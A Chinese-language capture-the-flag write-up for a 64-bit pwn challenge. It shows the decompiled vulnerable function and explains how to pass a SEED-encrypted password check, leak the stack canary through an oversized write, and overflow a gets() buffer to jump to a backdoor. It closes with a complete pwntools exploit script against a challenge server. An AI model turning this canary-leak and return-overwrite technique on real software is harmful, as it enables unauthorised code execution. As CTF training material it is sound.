checksec检查一下:
开启了Canary保护和NX保护,64位程序。
IDA打开程序:下面是程序的主要代码
unsigned __int64 __fastcall work(void *a1)
{
char v2[256]; // [rsp+0h] [rbp-150h] BYREF
__int64 v3[2]; // [rsp+100h] [rbp-50h] BYREF
__int64 s2[2]; // [rsp+110h] [rbp-40h] BYREF
char buf[16]; // [rsp+120h] [rbp-30h] BYREF
char v6[24]; // [rsp+130h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+148h] [rbp-8h]
v7 = __readfsqword(0x28u);
v3[0] = 0xBA0033020LL;
v3[1] = 0xC0000000D00000CLL;
s2[0] = 0x706050403020100LL;
s2[1] = 0xF0E0D0C0B0A0908LL;
SEED_KeySchedKey(v2, v3);
SEED_Encrypt(s2, v2);
init_io();
puts("hopefully you have used checksec");
puts("enter your pass word");
read(0, buf, 0x10uLL);
if ( !memcmp(buf, s2, 0x10uLL) )
{
write(1, v6, 0x100uLL);
gets(v6);
}
else
{
read(0, v6, 0x10uLL);
}
return __readfsqword(0x28u) ^ v7;
}
由代码可知,需要绕过Canary保护,当buf=s2时可以进入栈溢出代码,同时程序有后门函数。
我们需要利用write(1, v6, 0x100uLL);泄露出Canary的值,我的理解是将从v6开始的内存单元读取0x100个字节并写入1中,因此我们可以根据v7与v6的偏移将v7读取出来。
也就是p.recv()[0x20-0x8:0x20]
通过gdb调试可得s2的值(可直接用$rbp-0x40,无需自己计算出实际地址):
此时便可以开始编写exp
from pwn import *
p = remote("node5.anna.nssctf.cn",29656)
system_addr = 0x401256
payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
p.sendafter(b"enter your pass word\n",payload)
canary = u64(p.recv()[0x20-0x08:0x20])
print(hex(canary))
payload = b'a' * (0x20 - 0x08) + p64(canary) + p64(0) + p64(system_addr)
p.sendline(payload)
p.interactive()
注意接收Canary前发送payload选择send就行,如果用sendline会多发送一个换行符,这时Canary的接收就不是p.recv()[0x20-0x8:0x20]了